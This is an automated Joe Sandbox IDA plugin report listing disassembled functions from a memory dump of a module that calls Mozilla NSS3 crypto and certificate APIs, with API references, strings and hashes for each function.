Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: eda1a276bf3814b27a52cac6ee9f6d5d1e2a7a5a97e32433556d4e8196014c4f
Instruction ID: 86a664f5414e1239b6170812dd11ff977306e59ef9671bcf7b49ddb3e86baf73
Opcode Fuzzy Hash: eda1a276bf3814b27a52cac6ee9f6d5d1e2a7a5a97e32433556d4e8196014c4f
Instruction Fuzzy Hash: B6613871A052108BD310CF69C840BA6B7F5EF85318F29466DE4889FB52D376E947C7E1

Function 6CEDFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CEE0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE0130
PORT_Alloc_Util.NSS3(00000040), ref: 6CEE015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CEE01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CEE0202
free.MOZGLUE(?), ref: 6CEE0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE0253

Strings

exporter, xrefs: 6CEE00F7

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: ea02ef4195c9eac044ac3f6348263b708979919787f01c6dcbdc07d2fbb6eed9
Instruction ID: 2516586fc12dfe8f6bc69b7ea90b1b768f3d9f27dd8d0055ee7076736cd6547b
Opcode Fuzzy Hash: ea02ef4195c9eac044ac3f6348263b708979919787f01c6dcbdc07d2fbb6eed9
Instruction Fuzzy Hash: BA611272D007899BEB118FA4DC00BEE77B6FF4834CF24452CE91A5A761EB319955D740

Function 6CEB4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CEB536F,00000022,?,?,00000000,?), ref: 6CEB4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CEB4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CEB4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CEB4FAE
free.MOZGLUE(?), ref: 6CEB4FC8

Strings

%s=%s, xrefs: 6CEB4F89
%s=%c%s%c, xrefs: 6CEB4FA9
oSl", xrefs: 6CEB4DFB, 6CEB4EF4, 6CEB4EC5

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSl"
API String ID: 2709355791-450401312
Opcode ID: 406ead14af2e2e6374492417459de0dcd0c4f940ff5109c7644ed60086cfc6c3
Instruction ID: 351484c25d15f20bf506ced6a66a5ec9e11c150c31a542a93cfe667bf72e57b4
Opcode Fuzzy Hash: 406ead14af2e2e6374492417459de0dcd0c4f940ff5109c7644ed60086cfc6c3
Instruction Fuzzy Hash: C2513971A051598BEB02CA69C6917FFBBF59F4230CF388127F894BBB41D335980687A1

Function 6CEDEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEF6D

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

htonl.WSOCK32(00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEFE4
htonl.WSOCK32(?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDEFF1
memcpy.VCRUNTIME140(?,?,6CEFA4A1,?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CEFA4A1,?,00000000,?,00000001), ref: 6CEDF027

Strings

dtls13, xrefs: 6CEDEF33

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 07a36977ecdf59bb1c8ea08dfe028707e105276395e76bbf191d4102f071d641
Instruction ID: 1da4d489771a66a2eb6bcdc8a99fdc4399a8908b26bd7a81f39f67a2db50c9fc
Opcode Fuzzy Hash: 07a36977ecdf59bb1c8ea08dfe028707e105276395e76bbf191d4102f071d641
Instruction Fuzzy Hash: 6A31C271A016119BC710DF28DC85B9AB7F4EF49348F268029E8189B751E731F916CBE2

Function 6CE5AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE5AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CF79500,6CE53F91), ref: 6CE5AFD2

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

DER_GetInteger_Util.NSS3(?), ref: 6CE5B007

Part of subcall function 6CEA6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CE51666,?,6CE5B00C,?), ref: 6CEA6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CE5B02F
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE5B046
PL_FreeArenaPool.NSS3 ref: 6CE5B058
PL_FinishArenaPool.NSS3 ref: 6CE5B060

Strings

security, xrefs: 6CE5AFB8

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: e279ca29e1a538f764ab0d92b122a515fd59613df3af06592d47e78ed6337fee
Instruction ID: 023fa78a122881f2b578fda1be5a8f88e757e78104663f8f8de3ac9017e30b4b
Opcode Fuzzy Hash: e279ca29e1a538f764ab0d92b122a515fd59613df3af06592d47e78ed6337fee
Instruction Fuzzy Hash: F031F271804300DBDB108F24D845BAA77B8AF8632CF70061DE8B4ABBD1E733951AC796

Function 6CE53E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CE540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE53F7F,?,00000055,?,?,6CE51666,?,?), ref: 6CE540D9
Part of subcall function 6CE540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE51666,?,?), ref: 6CE540FC
Part of subcall function 6CE540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE51666,?,?), ref: 6CE54138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
PL_FreeArenaPool.NSS3 ref: 6CE53F14
PL_FinishArenaPool.NSS3 ref: 6CE53F1C

Part of subcall function 6CEB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEB127C,00000000,00000000,00000000), ref: 6CEB650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

Strings

security, xrefs: 6CE53EBC

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: fc8b0dd239a1676eb4a842de6d7968b871b0e91391df70cb8157ff0c5d03a6e5
Instruction ID: 62c834ca23091e35e5c834bed5940587a6453e991a8232261e6e58a153899686
Opcode Fuzzy Hash: fc8b0dd239a1676eb4a842de6d7968b871b0e91391df70cb8157ff0c5d03a6e5
Instruction Fuzzy Hash: BD210AB1A04300ABD3148B15AC42FAB77B8FB8931CF54053DF959A7741E732D9288796

Function 6CE9CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CE9CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CE9CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CE9D079

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: b67c2b83ac72375ebbb54be745e509164ba01a6ae9a009e5b7fd4c7d528d25b1
Instruction ID: 86a45685b395f29fdbcf14c8d0d8739abbcc59a9fa5399e73f52898021f4d095
Opcode Fuzzy Hash: b67c2b83ac72375ebbb54be745e509164ba01a6ae9a009e5b7fd4c7d528d25b1
Instruction Fuzzy Hash: ABC19CB5A002199BDB20DF24CC80BDAB7B5BF48318F2441A8E94DA7741E775EE95CF90

Function 6CE8DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CE997C1,?,00000000,00000000,?,?,?,00000000,?,6CE77F4A,00000000), ref: 6CE8DC68

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE77F4A,00000000,?,00000000,00000000), ref: 6CE8DFAA

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 804bcd4bc8d8993f38100217754ac4dc244b1ee078f2059a6ae1c2fa75e00cbf
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 2781AE79E076038BFB114A59D89076972B2DB6134CF34843BE91ECAFE1D778D684C622

Function 6CE63C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE63C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE63C94

Part of subcall function 6CE595B0: TlsGetValue.KERNEL32(00000000,?,6CE700D2,00000000), ref: 6CE595D2
Part of subcall function 6CE595B0: EnterCriticalSection.KERNEL32(?,?,?,6CE700D2,00000000), ref: 6CE595E7
Part of subcall function 6CE595B0: PR_Unlock.NSS3(?,?,?,?,6CE700D2,00000000), ref: 6CE59605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE63CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE63CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE63CE1

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: c3a8fe2b61478bbe9e94070653668d8643b3d685fa5378004a4549043edb0561
Instruction ID: 3656dd430c28aed6d9ad322b56923a7fa5264dce540b072abd490cfa32b34905
Opcode Fuzzy Hash: c3a8fe2b61478bbe9e94070653668d8643b3d685fa5378004a4549043edb0561
Instruction Fuzzy Hash: BD61A4B5A40300ABEB105EA6DC41FA77AB9EF0474CF284568FE099AB52F721D914C7B1

Function 6CEA3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CEA3440: PK11_GetAllTokens.NSS3 ref: 6CEA3481
Part of subcall function 6CEA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CEA34A3
Part of subcall function 6CEA3440: TlsGetValue.KERNEL32 ref: 6CEA352E
Part of subcall function 6CEA3440: EnterCriticalSection.KERNEL32(?), ref: 6CEA3542
Part of subcall function 6CEA3440: PR_Unlock.NSS3(?), ref: 6CEA355B

TlsGetValue.KERNEL32 ref: 6CEA3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CEA3D9F
PR_Unlock.NSS3(?), ref: 6CEA3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEA3E4F

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

TlsGetValue.KERNEL32 ref: 6CEA3E97
EnterCriticalSection.KERNEL32(?), ref: 6CEA3EAB
PR_Unlock.NSS3(?), ref: 6CEA3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CEA3EEE

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: aba9b427a472f273d1da20861340e16b2c6c5fbfbfea41259cecc3a8edf18675
Instruction ID: d1eedf41ceb25ff9cc7f2197bbf7fce13c237d2f1a8325241e5197f714954d80
Opcode Fuzzy Hash: aba9b427a472f273d1da20861340e16b2c6c5fbfbfea41259cecc3a8edf18675
Instruction Fuzzy Hash: 4A513475E003019FDB11AFA9D884B6A77B0AF45318F248528DE194BB12EB32E856CB91

Function 6CE52C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(605F7314), ref: 6CE52C5D

Part of subcall function 6CEB0D30: calloc.MOZGLUE ref: 6CEB0D50
Part of subcall function 6CEB0D30: TlsGetValue.KERNEL32 ref: 6CEB0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE52C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE52CE0

Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE52CDA,?,00000000), ref: 6CE52E1E
Part of subcall function 6CE52E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE52E33
Part of subcall function 6CE52E00: TlsGetValue.KERNEL32 ref: 6CE52E4E
Part of subcall function 6CE52E00: EnterCriticalSection.KERNEL32(?), ref: 6CE52E5E
Part of subcall function 6CE52E00: PL_HashTableLookup.NSS3(?), ref: 6CE52E71
Part of subcall function 6CE52E00: PL_HashTableRemove.NSS3(?), ref: 6CE52E84
Part of subcall function 6CE52E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE52E96
Part of subcall function 6CE52E00: PR_Unlock.NSS3 ref: 6CE52EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE52D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE52D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE52D3F
free.MOZGLUE(00000000), ref: 6CE52D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE52DB8
free.MOZGLUE ref: 6CE52DC8

Part of subcall function 6CE53E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE53EC2
Part of subcall function 6CE53E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE53ED6
Part of subcall function 6CE53E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE53EEE
Part of subcall function 6CE53E60: PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE53F02
Part of subcall function 6CE53E60: PL_FreeArenaPool.NSS3 ref: 6CE53F14
Part of subcall function 6CE53E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE53F27

Memory Dump Source

Source File: 00000005.00000002.1931689115.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000005.00000002.1931664630.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931878125.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931937665.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931957993.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1931980635.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1932004789.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 094dc605669f90e9d5bbd5501112f8c3a4c4d09237871f9d908a9ee7b801a86a
Instruction ID: 0494c0b530a653e10c5b710b72062653711875b69d45bfe719615ccaa9aa03f4
Opcode Fuzzy Hash: 094dc605669f90e9d5bbd5501112f8c3a4c4d09237871f9d908a9ee7b801a86a
Instruction Fuzzy Hash: 7A51EE72A043119FEB01DE68DC88B6B77F5EFA434CF64042CE85593750E732E8258B92

Function 6CE78F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE7905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE790EC

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
